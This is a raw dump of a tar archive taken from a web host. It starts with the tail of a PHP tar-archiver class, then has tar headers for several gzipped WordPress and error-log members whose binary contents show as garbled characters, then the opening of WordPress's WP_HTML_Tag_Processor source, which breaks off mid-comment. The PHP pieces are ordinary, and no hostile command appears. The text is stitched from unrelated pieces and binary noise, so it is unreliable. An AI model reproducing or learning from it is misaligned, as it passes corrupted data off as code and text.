		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>class-wp-html-attribute-token.php.php.tar.gz000064400000001776151440300030015062 0ustar00��V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�Wyerror_log.tar.gz000064400000001147151440300030007656 0ustar00���o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&class-wp-html-token.php.php.tar.gz000064400000002533151440300030013051 0ustar00��WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�class-wp-html-tag-processor.php.tar000064400000453000151440300030013313 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
